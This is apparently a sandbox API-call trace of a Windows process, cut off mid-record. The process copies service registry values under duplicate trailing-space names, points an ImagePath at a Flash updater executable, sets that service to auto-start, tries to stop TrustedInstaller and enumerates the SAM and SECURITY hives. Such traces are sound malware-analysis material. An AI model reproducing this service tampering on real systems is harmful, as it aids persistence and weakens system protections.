[0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0230.771] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0230.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0230.771] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0230.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.772] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0230.772] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0230.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0230.772] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.773] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.774] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.774] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0230.774] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0230.774] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0230.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0230.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0230.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0230.774] LocalFree (hMem=0x7f03d0) returned 0x0 [0230.774] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0230.774] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x8038a0 [0230.814] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0230.816] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0230.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0230.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0230.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0230.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0230.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0230.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.817] RegCloseKey (hKey=0xc4) returned 0x0 [0230.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0230.817] RegCloseKey (hKey=0x148) returned 0x0 [0230.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0230.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0230.817] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x83a38000, ftLastWriteTime.dwHighDateTime=0x1d35cdb, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0230.817] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0230.817] GetLastError () returned 0x20 [0230.817] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0230.818] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0230.818] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0230.818] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0230.818] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0230.818] GetLastError () returned 0x426 [0230.818] CloseServiceHandle (hSCObject=0x803990) returned 1 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0230.819] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0230.819] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.819] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0230.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0230.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.821] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0230.821] RegCloseKey (hKey=0x80000002) returned 0x0 [0230.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0230.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0230.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0230.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0230.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0230.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0230.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0230.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 